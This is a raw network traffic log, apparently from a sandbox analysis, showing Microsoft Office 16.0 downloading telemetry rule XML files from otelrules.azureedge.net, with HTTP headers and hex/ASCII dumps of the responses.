2024-11-28 12:10:30 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:30 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: da27d7c4-b01e-005c-4391-3f4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121030Z-174f7845968j6t2phC1EWRcfe80000000yh0000000007h23 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:30 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49886	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:30 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:30 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:30 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 4fa988ca-e01e-000c-2c91-3f8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121030Z-174f78459685m244hC1EWRgp2c0000000ybg0000000006rz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:30 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	49887	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:30 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:30 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:30 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 89e8b03d-001e-0065-5291-3f0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121030Z-174f7845968n2hr8hC1EWR9cag0000000xzg000000008ux6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:30 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	49889	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:32 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:32 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:32 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 4f79ec39-601e-0070-0891-3fa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121032Z-174f7845968frfdmhC1EWRxxbw0000000yb0000000009ubw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:32 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	49891	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:32 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:32 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:32 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 1fa1d210-401e-0067-3791-3f09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121032Z-174f7845968kdththC1EWRzvxn0000000arg000000006nu4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:32 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49890	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:32 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:32 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:32 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 65da5027-401e-00ac-792d-400a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121032Z-174f7845968px8v7hC1EWR08ng0000000ymg000000008ytv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:32 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49892	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:32 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:32 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:32 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 46d93ec3-201e-005d-5b34-41afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121032Z-174f7845968j6t2phC1EWRcfe80000000yh0000000007h3x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:32 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49893	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:32 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:32 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:32 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 8c2ab7fe-e01e-0003-5b91-3f0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121032Z-174f7845968vqt9xhC1EWRgten0000000yf000000000563w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:32 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49899	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:34 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:35 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:35 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 8c2ab893-e01e-0003-5391-3f0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121035Z-174f7845968jrjrxhC1EWRmmrs0000000yfg000000007xbd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:35 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49898	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:34 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:35 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:35 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: f418fe9b-801e-0047-5281-3f7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121035Z-174f7845968cpnpfhC1EWR3afc0000000y00000000006bmq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:35 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49896	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:34 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:35 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:35 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: fdde7aaa-d01e-0028-2a8c-3f7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121035Z-174f7845968l4kp6hC1EWRe8840000000yrg0000000027e4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:35 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49897	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:34 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 12:10:35 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 12:10:35 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: eaf971a2-501e-008c-1d81-40cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T121035Z-174f784596886s2bhC1EWR743w0000000ygg000000002n23 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 12:10:35 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	49903	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 12:10:37 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
